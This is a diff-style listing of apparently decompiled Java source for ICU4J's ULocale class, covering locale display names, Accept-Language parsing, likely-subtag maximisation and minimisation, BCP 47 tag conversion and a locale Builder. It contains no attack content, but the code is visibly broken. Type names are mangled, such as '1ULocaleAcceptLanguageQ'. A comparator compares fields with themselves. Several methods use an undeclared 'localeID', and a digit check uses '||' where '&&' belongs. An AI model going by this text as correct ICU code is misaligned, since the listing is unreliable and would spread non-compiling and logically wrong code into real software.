+
+  public static String getDisplayVariant(String localeID, String displayLocaleID)
+  {
+    return getDisplayVariantInternal(new ULocale(localeID), new ULocale(displayLocaleID));
+  }
+  
+
+
+
+
+
+
+
+  public static String getDisplayVariant(String localeID, ULocale displayLocale)
+  {
+    return getDisplayVariantInternal(new ULocale(localeID), displayLocale);
+  }
+  
+  private static String getDisplayVariantInternal(ULocale locale, ULocale displayLocale) {
+    return LocaleDisplayNames.getInstance(displayLocale).variantDisplayName(locale.getVariant());
+  }
+  
+
+
+
+
+
+
+
+
+  public static String getDisplayKeyword(String keyword)
+  {
+    return getDisplayKeywordInternal(keyword, getDefault(Category.DISPLAY));
+  }
+  
+
+
+
+
+
+
+
+  public static String getDisplayKeyword(String keyword, String displayLocaleID)
+  {
+    return getDisplayKeywordInternal(keyword, new ULocale(displayLocaleID));
+  }
+  
+
+
+
+
+
+
+
+  public static String getDisplayKeyword(String keyword, ULocale displayLocale)
+  {
+    return getDisplayKeywordInternal(keyword, displayLocale);
+  }
+  
+  private static String getDisplayKeywordInternal(String keyword, ULocale displayLocale) {
+    return LocaleDisplayNames.getInstance(displayLocale).keyDisplayName(keyword);
+  }
+  
+
+
+
+
+
+
+  public String getDisplayKeywordValue(String keyword)
+  {
+    return getDisplayKeywordValueInternal(this, keyword, getDefault(Category.DISPLAY));
+  }
+  
+
+
+
+
+
+
+  public String getDisplayKeywordValue(String keyword, ULocale displayLocale)
+  {
+    return getDisplayKeywordValueInternal(this, keyword, displayLocale);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String getDisplayKeywordValue(String localeID, String keyword, String displayLocaleID)
+  {
+    return getDisplayKeywordValueInternal(new ULocale(localeID), keyword, new ULocale(displayLocaleID));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String getDisplayKeywordValue(String localeID, String keyword, ULocale displayLocale)
+  {
+    return getDisplayKeywordValueInternal(new ULocale(localeID), keyword, displayLocale);
+  }
+  
+
+  private static String getDisplayKeywordValueInternal(ULocale locale, String keyword, ULocale displayLocale)
+  {
+    keyword = AsciiUtil.toLowerString(keyword.trim());
+    String value = locale.getKeywordValue(keyword);
+    return LocaleDisplayNames.getInstance(displayLocale).keyValueDisplayName(keyword, value);
+  }
+  
+
+
+
+
+
+  public String getDisplayName()
+  {
+    return getDisplayNameInternal(this, getDefault(Category.DISPLAY));
+  }
+  
+
+
+
+
+
+  public String getDisplayName(ULocale displayLocale)
+  {
+    return getDisplayNameInternal(this, displayLocale);
+  }
+  
+
+
+
+
+
+
+
+  public static String getDisplayName(String localeID, String displayLocaleID)
+  {
+    return getDisplayNameInternal(new ULocale(localeID), new ULocale(displayLocaleID));
+  }
+  
+
+
+
+
+
+
+
+  public static String getDisplayName(String localeID, ULocale displayLocale)
+  {
+    return getDisplayNameInternal(new ULocale(localeID), displayLocale);
+  }
+  
+  private static String getDisplayNameInternal(ULocale locale, ULocale displayLocale) {
+    return LocaleDisplayNames.getInstance(displayLocale).localeDisplayName(locale);
+  }
+  
+
+
+
+
+
+
+  public String getDisplayNameWithDialect()
+  {
+    return getDisplayNameWithDialectInternal(this, getDefault(Category.DISPLAY));
+  }
+  
+
+
+
+
+
+
+  public String getDisplayNameWithDialect(ULocale displayLocale)
+  {
+    return getDisplayNameWithDialectInternal(this, displayLocale);
+  }
+  
+
+
+
+
+
+
+
+
+  public static String getDisplayNameWithDialect(String localeID, String displayLocaleID)
+  {
+    return getDisplayNameWithDialectInternal(new ULocale(localeID), new ULocale(displayLocaleID));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String getDisplayNameWithDialect(String localeID, ULocale displayLocale)
+  {
+    return getDisplayNameWithDialectInternal(new ULocale(localeID), displayLocale);
+  }
+  
+  private static String getDisplayNameWithDialectInternal(ULocale locale, ULocale displayLocale) {
+    return LocaleDisplayNames.getInstance(displayLocale, LocaleDisplayNames.DialectHandling.DIALECT_NAMES).localeDisplayName(locale);
+  }
+  
+
+
+
+
+
+
+
+  public String getCharacterOrientation()
+  {
+    return ICUResourceTableAccess.getTableString("com/ibm/icu/impl/data/icudt51b", this, "layout", "characters");
+  }
+  
+
+
+
+
+
+
+
+  public String getLineOrientation()
+  {
+    return ICUResourceTableAccess.getTableString("com/ibm/icu/impl/data/icudt51b", this, "layout", "lines");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Type ACTUAL_LOCALE = new Type(null);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Type VALID_LOCALE = new Type(null);
+  
+
+
+
+  private static final String UNDEFINED_LANGUAGE = "und";
+  
+
+
+
+  private static final String UNDEFINED_SCRIPT = "Zzzz";
+  
+
+
+
+  private static final String UNDEFINED_REGION = "ZZ";
+  
+
+
+
+  public static final char PRIVATE_USE_EXTENSION = 'x';
+  
+
+
+
+  public static final char UNICODE_LOCALE_EXTENSION = 'u';
+  
+
+
+
+  public static ULocale acceptLanguage(String acceptLanguageList, ULocale[] availableLocales, boolean[] fallback)
+  {
+    if (acceptLanguageList == null) {
+      throw new NullPointerException();
+    }
+    ULocale[] acceptList = null;
+    try {
+      acceptList = parseAcceptLanguage(acceptLanguageList, true);
+    } catch (ParseException pe) {
+      acceptList = null;
+    }
+    if (acceptList == null) {
+      return null;
+    }
+    return acceptLanguage(acceptList, availableLocales, fallback);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ULocale acceptLanguage(ULocale[] acceptLanguageList, ULocale[] availableLocales, boolean[] fallback)
+  {
+    if (fallback != null) {
+      fallback[0] = true;
+    }
+    for (int i = 0; i < acceptLanguageList.length; i++) {
+      ULocale aLocale = acceptLanguageList[i];
+      boolean[] setFallback = fallback;
+      do {
+        for (int j = 0; j < availableLocales.length; j++) {
+          if (availableLocales[j].equals(aLocale)) {
+            if (setFallback != null) {
+              setFallback[0] = false;
+            }
+            return availableLocales[j];
+          }
+          
+
+          if ((aLocale.getScript().length() == 0) && (availableLocales[j].getScript().length() > 0) && (availableLocales[j].getLanguage().equals(aLocale.getLanguage())) && (availableLocales[j].getCountry().equals(aLocale.getCountry())) && (availableLocales[j].getVariant().equals(aLocale.getVariant())))
+          {
+
+
+
+            ULocale minAvail = minimizeSubtags(availableLocales[j]);
+            if (minAvail.getScript().length() == 0) {
+              if (setFallback != null) {
+                setFallback[0] = false;
+              }
+              return aLocale;
+            }
+          }
+        }
+        Locale loc = aLocale.toLocale();
+        Locale parent = LocaleUtility.fallback(loc);
+        if (parent != null) {
+          aLocale = new ULocale(parent);
+        } else {
+          aLocale = null;
+        }
+        setFallback = null;
+      } while (aLocale != null);
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ULocale acceptLanguage(String acceptLanguageList, boolean[] fallback)
+  {
+    return acceptLanguage(acceptLanguageList, getAvailableLocales(), fallback);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ULocale acceptLanguage(ULocale[] acceptLanguageList, boolean[] fallback)
+  {
+    return acceptLanguage(acceptLanguageList, getAvailableLocales(), fallback);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static ULocale[] parseAcceptLanguage(String acceptLanguage, boolean isLenient)
+    throws ParseException
+  {
+    TreeMap<1ULocaleAcceptLanguageQ, ULocale> map = new TreeMap();
+    
+    StringBuilder languageRangeBuf = new StringBuilder();
+    StringBuilder qvalBuf = new StringBuilder();
+    int state = 0;
+    acceptLanguage = acceptLanguage + ",";
+    
+    boolean subTag = false;
+    boolean q1 = false;
+    for (int n = 0; n < acceptLanguage.length(); n++) {
+      boolean gotLanguageQ = false;
+      char c = acceptLanguage.charAt(n);
+      switch (state) {
+      case 0: 
+        if ((('A' <= c) && (c <= 'Z')) || (('a' <= c) && (c <= 'z')))
+        {
+          languageRangeBuf.append(c);
+          state = 1;
+          subTag = false;
+        } else if (c == '*') {
+          languageRangeBuf.append(c);
+          state = 2;
+        } else if ((c != ' ') && (c != '\t'))
+        {
+          state = -1;
+        }
+        break;
+      case 1: 
+        if ((('A' <= c) && (c <= 'Z')) || (('a' <= c) && (c <= 'z'))) {
+          languageRangeBuf.append(c);
+        } else if (c == '-') {
+          subTag = true;
+          languageRangeBuf.append(c);
+        } else if (c == '_') {
+          if (isLenient) {
+            subTag = true;
+            languageRangeBuf.append(c);
+          } else {
+            state = -1;
+          }
+        } else if (('0' <= c) && (c <= '9')) {
+          if (subTag) {
+            languageRangeBuf.append(c);
+          }
+          else {
+            state = -1;
+          }
+        } else if (c == ',')
+        {
+          gotLanguageQ = true;
+        } else if ((c == ' ') || (c == '\t'))
+        {
+          state = 3;
+        } else if (c == ';')
+        {
+          state = 4;
+        }
+        else {
+          state = -1;
+        }
+        break;
+      case 2: 
+        if (c == ',')
+        {
+          gotLanguageQ = true;
+        } else if ((c == ' ') || (c == '\t'))
+        {
+          state = 3;
+        } else if (c == ';')
+        {
+          state = 4;
+        }
+        else {
+          state = -1;
+        }
+        break;
+      case 3: 
+        if (c == ',')
+        {
+          gotLanguageQ = true;
+        } else if (c == ';')
+        {
+          state = 4;
+        } else if ((c != ' ') && (c != '\t'))
+        {
+          state = -1;
+        }
+        break;
+      case 4: 
+        if (c == 'q')
+        {
+          state = 5;
+        } else if ((c != ' ') && (c != '\t'))
+        {
+          state = -1;
+        }
+        break;
+      case 5: 
+        if (c == '=')
+        {
+          state = 6;
+        } else if ((c != ' ') && (c != '\t'))
+        {
+          state = -1;
+        }
+        break;
+      case 6: 
+        if (c == '0')
+        {
+          q1 = false;
+          qvalBuf.append(c);
+          state = 7;
+        } else if (c == '1')
+        {
+          qvalBuf.append(c);
+          state = 7;
+        } else if (c == '.') {
+          if (isLenient) {
+            qvalBuf.append(c);
+            state = 8;
+          } else {
+            state = -1;
+          }
+        } else if ((c != ' ') && (c != '\t'))
+        {
+          state = -1;
+        }
+        break;
+      case 7: 
+        if (c == '.')
+        {
+          qvalBuf.append(c);
+          state = 8;
+        } else if (c == ',')
+        {
+          gotLanguageQ = true;
+        } else if ((c == ' ') || (c == '\t'))
+        {
+          state = 10;
+        }
+        else {
+          state = -1;
+        }
+        break;
+      case 8: 
+        if (('0' <= c) || (c <= '9')) {
+          if ((q1) && (c != '0') && (!isLenient))
+          {
+            state = -1;
+          }
+          else {
+            qvalBuf.append(c);
+            state = 9;
+          }
+        }
+        else {
+          state = -1;
+        }
+        break;
+      case 9: 
+        if (('0' <= c) && (c <= '9')) {
+          if ((q1) && (c != '0'))
+          {
+            state = -1;
+          } else {
+            qvalBuf.append(c);
+          }
+        } else if (c == ',')
+        {
+          gotLanguageQ = true;
+        } else if ((c == ' ') || (c == '\t'))
+        {
+          state = 10;
+        }
+        else {
+          state = -1;
+        }
+        break;
+      case 10: 
+        if (c == ',')
+        {
+          gotLanguageQ = true;
+        } else if ((c != ' ') && (c != '\t'))
+        {
+          state = -1;
+        }
+        break;
+      }
+      if (state == -1)
+      {
+        throw new ParseException("Invalid Accept-Language", n);
+      }
+      if (gotLanguageQ) {
+        double q = 1.0D;
+        if (qvalBuf.length() != 0) {
+          try {
+            q = Double.parseDouble(qvalBuf.toString());
+          }
+          catch (NumberFormatException nfe) {
+            q = 1.0D;
+          }
+          if (q > 1.0D) {
+            q = 1.0D;
+          }
+        }
+        if (languageRangeBuf.charAt(0) != '*') {
+          int serial = map.size();
+          Comparable entry = new Comparable()
+          {
+            private double q;
+            private double serial;
+            
+            public int compareTo(1ULocaleAcceptLanguageQ other)
+            {
+              if (q > q)
+                return -1;
+              if (q < q) {
+                return 1;
+              }
+              if (serial < serial)
+                return -1;
+              if (serial > serial) {
+                return 1;
+              }
+              return 0;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+            }
+            
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+          };
+          map.put(entry, new ULocale(canonicalize(languageRangeBuf.toString())));
+        }
+        
+
+        languageRangeBuf.setLength(0);
+        qvalBuf.setLength(0);
+        state = 0;
+      }
+    }
+    if (state != 0)
+    {
+      throw new ParseException("Invalid AcceptlLanguage", n);
+    }
+    
+
+    ULocale[] acceptList = (ULocale[])map.values().toArray(new ULocale[map.size()]);
+    return acceptList;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ULocale addLikelySubtags(ULocale loc)
+  {
+    String[] tags = new String[3];
+    String trailing = null;
+    
+    int trailingIndex = parseTagString(localeID, tags);
+    
+
+
+    if (trailingIndex < localeID.length()) {
+      trailing = localeID.substring(trailingIndex);
+    }
+    
+    String newLocaleID = createLikelySubtagsString(tags[0], tags[1], tags[2], trailing);
+    
+
+
+
+
+
+    return newLocaleID == null ? loc : new ULocale(newLocaleID);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ULocale minimizeSubtags(ULocale loc)
+  {
+    String[] tags = new String[3];
+    
+    int trailingIndex = parseTagString(localeID, tags);
+    
+
+
+    String originalLang = tags[0];
+    String originalScript = tags[1];
+    String originalRegion = tags[2];
+    String originalTrailing = null;
+    
+    if (trailingIndex < localeID.length())
+    {
+
+
+
+      originalTrailing = localeID.substring(trailingIndex);
+    }
+    
+
+
+
+
+    String maximizedLocaleID = createLikelySubtagsString(originalLang, originalScript, originalRegion, null);
+    
+
+
+
+
+
+
+
+
+
+    if (isEmptyString(maximizedLocaleID)) {
+      return loc;
+    }
+    
+
+
+
+    String tag = createLikelySubtagsString(originalLang, null, null, null);
+    
+
+
+
+
+
+    if (tag.equals(maximizedLocaleID)) {
+      String newLocaleID = createTagString(originalLang, null, null, originalTrailing);
+      
+
+
+
+
+
+      return new ULocale(newLocaleID);
+    }
+    
+
+
+
+
+    if (originalRegion.length() != 0)
+    {
+      String tag = createLikelySubtagsString(originalLang, null, originalRegion, null);
+      
+
+
+
+
+
+      if (tag.equals(maximizedLocaleID)) {
+        String newLocaleID = createTagString(originalLang, null, originalRegion, originalTrailing);
+        
+
+
+
+
+
+        return new ULocale(newLocaleID);
+      }
+    }
+    
+
+
+
+
+
+    if ((originalRegion.length() != 0) && (originalScript.length() != 0))
+    {
+
+      String tag = createLikelySubtagsString(originalLang, originalScript, null, null);
+      
+
+
+
+
+
+      if (tag.equals(maximizedLocaleID)) {
+        String newLocaleID = createTagString(originalLang, originalScript, null, originalTrailing);
+        
+
+
+
+
+
+        return new ULocale(newLocaleID);
+      }
+    }
+    
+    return loc;
+  }
+  
+
+
+
+
+
+
+
+  private static boolean isEmptyString(String string)
+  {
+    return (string == null) || (string.length() == 0);
+  }
+  
+
+
+
+
+
+
+  private static void appendTag(String tag, StringBuilder buffer)
+  {
+    if (buffer.length() != 0) {
+      buffer.append('_');
+    }
+    
+    buffer.append(tag);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static String createTagString(String lang, String script, String region, String trailing, String alternateTags)
+  {
+    LocaleIDParser parser = null;
+    boolean regionAppended = false;
+    
+    StringBuilder tag = new StringBuilder();
+    
+    if (!isEmptyString(lang)) {
+      appendTag(lang, tag);
+
+
+    }
+    else if (isEmptyString(alternateTags))
+    {
+
+
+
+      appendTag("und", tag);
+
+    }
+    else
+    {
+      parser = new LocaleIDParser(alternateTags);
+      
+      String alternateLang = parser.getLanguage();
+      
+
+
+
+
+      appendTag(!isEmptyString(alternateLang) ? alternateLang : "und", tag);
+    }
+    
+
+
+    if (!isEmptyString(script)) {
+      appendTag(script, tag);
+
+
+    }
+    else if (!isEmptyString(alternateTags))
+    {
+
+
+      if (parser == null) {
+        parser = new LocaleIDParser(alternateTags);
+      }
+      
+      String alternateScript = parser.getScript();
+      
+      if (!isEmptyString(alternateScript)) {
+        appendTag(alternateScript, tag);
+      }
+    }
+    
+
+
+    if (!isEmptyString(region)) {
+      appendTag(region, tag);
+      
+
+
+      regionAppended = true;
+    }
+    else if (!isEmptyString(alternateTags))
+    {
+
+
+      if (parser == null) {
+        parser = new LocaleIDParser(alternateTags);
+      }
+      
+      String alternateRegion = parser.getCountry();
+      
+      if (!isEmptyString(alternateRegion)) {
+        appendTag(alternateRegion, tag);
+        
+
+
+        regionAppended = true;
+      }
+    }
+    
+    if ((trailing != null) && (trailing.length() > 1))
+    {
+
+
+
+
+      int separators = 0;
+      
+      if (trailing.charAt(0) == '_') {
+        if (trailing.charAt(1) == '_') {
+          separators = 2;
+        }
+      }
+      else {
+        separators = 1;
+      }
+      
+      if (regionAppended)
+      {
+
+
+
+        if (separators == 2) {
+          tag.append(trailing.substring(1));
+        }
+        else {
+          tag.append(trailing);
+        }
+        
+
+      }
+      else
+      {
+
+        if (separators == 1) {
+          tag.append('_');
+        }
+        tag.append(trailing);
+      }
+    }
+    
+    return tag.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  static String createTagString(String lang, String script, String region, String trailing)
+  {
+    return createTagString(lang, script, region, trailing, null);
+  }
+  
+
+
+
+
+
+
+
+
+  private static int parseTagString(String localeID, String[] tags)
+  {
+    LocaleIDParser parser = new LocaleIDParser(localeID);
+    
+    String lang = parser.getLanguage();
+    String script = parser.getScript();
+    String region = parser.getCountry();
+    
+    if (isEmptyString(lang)) {
+      tags[0] = "und";
+    }
+    else {
+      tags[0] = lang;
+    }
+    
+    if (script.equals("Zzzz")) {
+      tags[1] = "";
+    }
+    else {
+      tags[1] = script;
+    }
+    
+    if (region.equals("ZZ")) {
+      tags[2] = "";
+    }
+    else {
+      tags[2] = region;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    String variant = parser.getVariant();
+    
+    if (!isEmptyString(variant)) {
+      int index = localeID.indexOf(variant);
+      
+
+      return index > 0 ? index - 1 : index;
+    }
+    
+
+    int index = localeID.indexOf('@');
+    
+    return index == -1 ? localeID.length() : index;
+  }
+  
+  private static String lookupLikelySubtags(String localeId)
+  {
+    UResourceBundle bundle = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "likelySubtags");
+    
+    try
+    {
+      return bundle.getString(localeId);
+    }
+    catch (MissingResourceException e) {}
+    return null;
+  }
+  
+
+
+
+
+
+  private static String createLikelySubtagsString(String lang, String script, String region, String variants)
+  {
+    if ((!isEmptyString(script)) && (!isEmptyString(region)))
+    {
+      String searchTag = createTagString(lang, script, region, null);
+      
+
+
+
+
+
+      String likelySubtags = lookupLikelySubtags(searchTag);
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      if (likelySubtags != null)
+      {
+
+
+        return createTagString(null, null, null, variants, likelySubtags);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+    if (!isEmptyString(script))
+    {
+      String searchTag = createTagString(lang, script, null, null);
+      
+
+
+
+
+
+      String likelySubtags = lookupLikelySubtags(searchTag);
+      if (likelySubtags != null)
+      {
+
+
+        return createTagString(null, null, region, variants, likelySubtags);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+    if (!isEmptyString(region))
+    {
+      String searchTag = createTagString(lang, null, region, null);
+      
+
+
+
+
+
+      String likelySubtags = lookupLikelySubtags(searchTag);
+      
+      if (likelySubtags != null)
+      {
+
+
+        return createTagString(null, script, null, variants, likelySubtags);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    String searchTag = createTagString(lang, null, null, null);
+    
+
+
+
+
+
+    String likelySubtags = lookupLikelySubtags(searchTag);
+    
+    if (likelySubtags != null)
+    {
+
+
+      return createTagString(null, script, region, variants, likelySubtags);
+    }
+    
+
+
+
+
+
+
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getExtension(char key)
+  {
+    if (!LocaleExtensions.isValidKey(key)) {
+      throw new IllegalArgumentException("Invalid extension key: " + key);
+    }
+    return extensions().getExtensionValue(Character.valueOf(key));
+  }
+  
+
+
+
+
+
+
+
+
+  public Set<Character> getExtensionKeys()
+  {
+    return extensions().getKeys();
+  }
+  
+
+
+
+
+
+
+
+  public Set<String> getUnicodeLocaleAttributes()
+  {
+    return extensions().getUnicodeLocaleAttributes();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getUnicodeLocaleType(String key)
+  {
+    if (!LocaleExtensions.isValidUnicodeLocaleKey(key)) {
+      throw new IllegalArgumentException("Invalid Unicode locale key: " + key);
+    }
+    return extensions().getUnicodeLocaleType(key);
+  }
+  
+
+
+
+
+
+
+
+
+  public Set<String> getUnicodeLocaleKeys()
+  {
+    return extensions().getUnicodeLocaleKeys();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String toLanguageTag()
+  {
+    BaseLocale base = base();
+    LocaleExtensions exts = extensions();
+    
+    if (base.getVariant().equalsIgnoreCase("POSIX"))
+    {
+      base = BaseLocale.getInstance(base.getLanguage(), base.getScript(), base.getRegion(), "");
+      if (exts.getUnicodeLocaleType("va") == null)
+      {
+        InternalLocaleBuilder ilocbld = new InternalLocaleBuilder();
+        try {
+          ilocbld.setLocale(BaseLocale.ROOT, exts);
+          ilocbld.setUnicodeLocaleKeyword("va", "posix");
+          exts = ilocbld.getLocaleExtensions();
+        }
+        catch (LocaleSyntaxException e) {
+          throw new RuntimeException(e);
+        }
+      }
+    }
+    
+    LanguageTag tag = LanguageTag.parseLocale(base, exts);
+    
+    StringBuilder buf = new StringBuilder();
+    String subtag = tag.getLanguage();
+    if (subtag.length() > 0) {
+      buf.append(LanguageTag.canonicalizeLanguage(subtag));
+    }
+    
+    subtag = tag.getScript();
+    if (subtag.length() > 0) {
+      buf.append("-");
+      buf.append(LanguageTag.canonicalizeScript(subtag));
+    }
+    
+    subtag = tag.getRegion();
+    if (subtag.length() > 0) {
+      buf.append("-");
+      buf.append(LanguageTag.canonicalizeRegion(subtag));
+    }
+    
+    List<String> subtags = tag.getVariants();
+    for (String s : subtags) {
+      buf.append("-");
+      buf.append(LanguageTag.canonicalizeVariant(s));
+    }
+    
+    subtags = tag.getExtensions();
+    for (String s : subtags) {
+      buf.append("-");
+      buf.append(LanguageTag.canonicalizeExtension(s));
+    }
+    
+    subtag = tag.getPrivateuse();
+    if (subtag.length() > 0) {
+      if (buf.length() > 0) {
+        buf.append("-");
+      }
+      buf.append("x").append("-");
+      buf.append(LanguageTag.canonicalizePrivateuse(subtag));
+    }
+    
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ULocale forLanguageTag(String languageTag)
+  {
+    LanguageTag tag = LanguageTag.parse(languageTag, null);
+    InternalLocaleBuilder bldr = new InternalLocaleBuilder();
+    bldr.setLanguageTag(tag);
+    return getInstance(bldr.getBaseLocale(), bldr.getLocaleExtensions());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final class Type
+  {
+    private Type() {}
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final class Builder
+  {
+    private final InternalLocaleBuilder _locbld;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder()
+    {
+      _locbld = new InternalLocaleBuilder();
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setLocale(ULocale locale)
+    {
+      try
+      {
+        _locbld.setLocale(locale.base(), locale.extensions());
+      } catch (LocaleSyntaxException e) {
+        throw new IllformedLocaleException(e.getMessage(), e.getErrorIndex());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setLanguageTag(String languageTag)
+    {
+      ParseStatus sts = new ParseStatus();
+      LanguageTag tag = LanguageTag.parse(languageTag, sts);
+      if (sts.isError()) {
+        throw new IllformedLocaleException(sts.getErrorMessage(), sts.getErrorIndex());
+      }
+      _locbld.setLanguageTag(tag);
+      
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setLanguage(String language)
+    {
+      try
+      {
+        _locbld.setLanguage(language);
+      } catch (LocaleSyntaxException e) {
+        throw new IllformedLocaleException(e.getMessage(), e.getErrorIndex());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setScript(String script)
+    {
+      try
+      {
+        _locbld.setScript(script);
+      } catch (LocaleSyntaxException e) {
+        throw new IllformedLocaleException(e.getMessage(), e.getErrorIndex());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setRegion(String region)
+    {
+      try
+      {
+        _locbld.setRegion(region);
+      } catch (LocaleSyntaxException e) {
+        throw new IllformedLocaleException(e.getMessage(), e.getErrorIndex());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setVariant(String variant)
+    {
+      try
+      {
+        _locbld.setVariant(variant);
+      } catch (LocaleSyntaxException e) {
+        throw new IllformedLocaleException(e.getMessage(), e.getErrorIndex());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setExtension(char key, String value)
+    {
+      try
+      {
+        _locbld.setExtension(key, value);
+      } catch (LocaleSyntaxException e) {
+        throw new IllformedLocaleException(e.getMessage(), e.getErrorIndex());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder setUnicodeLocaleKeyword(String key, String type)
+    {
+      try
+      {
+        _locbld.setUnicodeLocaleKeyword(key, type);
+      } catch (LocaleSyntaxException e) {
+        throw new IllformedLocaleException(e.getMessage(), e.getErrorIndex());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    public Builder addUnicodeLocaleAttribute(String attribute)
+    {
+      try
+      {
+        _locbld.addUnicodeLocaleAttribute(attribute);
+      } catch (LocaleSyntaxException e) {
+        throw new IllformedLocaleException(e.getMessage(), e.getErrorIndex());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public Builder removeUnicodeLocaleAttribute(String attribute)
+    {
+      try
+      {
+        _locbld.removeUnicodeLocaleAttribute(attribute);
+      } catch (LocaleSyntaxException e) {
+        throw new IllformedLocaleException(e.getMessage(), e.getErrorIndex());
+      }
+      return this;
+    }
+    
+
+
+
+
+
+
+    public Builder clear()
+    {
+      _locbld.clear();
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+    public Builder clearExtensions()
+    {
+      _locbld.clearExtensions();
+      return this;
+    }
+    
+
+
+
+
+
+
+
+    public ULocale build()
+    {
+      return ULocale.getInstance(_locbld.getBaseLocale(), _locbld.getLocaleExtensions());
+    }
+  }
+  
+  private static ULocale getInstance(BaseLocale base, LocaleExtensions exts) {
+    String id = lscvToID(base.getLanguage(), base.getScript(), base.getRegion(), base.getVariant());
+    
+
+    Set<Character> extKeys = exts.getKeys();
+    if (!extKeys.isEmpty())
+    {
+
+
+
+      TreeMap<String, String> kwds = new TreeMap();
+      for (Character key : extKeys) {
+        Extension ext = exts.getExtension(key);
+        if ((ext instanceof UnicodeLocaleExtension)) {
+          UnicodeLocaleExtension uext = (UnicodeLocaleExtension)ext;
+          Set<String> ukeys = uext.getUnicodeLocaleKeys();
+          for (String bcpKey : ukeys) {
+            String bcpType = uext.getUnicodeLocaleType(bcpKey);
+            
+            String lkey = bcp47ToLDMLKey(bcpKey);
+            String ltype = bcp47ToLDMLType(lkey, bcpType.length() == 0 ? "yes" : bcpType);
+            
+            if ((lkey.equals("va")) && (ltype.equals("posix")) && (base.getVariant().length() == 0)) {
+              id = id + "_POSIX";
+            } else {
+              kwds.put(lkey, ltype);
+            }
+          }
+          
+          Set<String> uattributes = uext.getUnicodeLocaleAttributes();
+          if (uattributes.size() > 0) {
+            StringBuilder attrbuf = new StringBuilder();
+            for (String attr : uattributes) {
+              if (attrbuf.length() > 0) {
+                attrbuf.append('-');
+              }
+              attrbuf.append(attr);
+            }
+            kwds.put("attribute", attrbuf.toString());
+          }
+        } else {
+          kwds.put(String.valueOf(key), ext.getValue());
+        }
+      }
+      
+      if (!kwds.isEmpty()) {
+        StringBuilder buf = new StringBuilder(id);
+        buf.append("@");
+        Set<Map.Entry<String, String>> kset = kwds.entrySet();
+        boolean insertSep = false;
+        for (Map.Entry<String, String> kwd : kset) {
+          if (insertSep) {
+            buf.append(";");
+          } else {
+            insertSep = true;
+          }
+          buf.append((String)kwd.getKey());
+          buf.append("=");
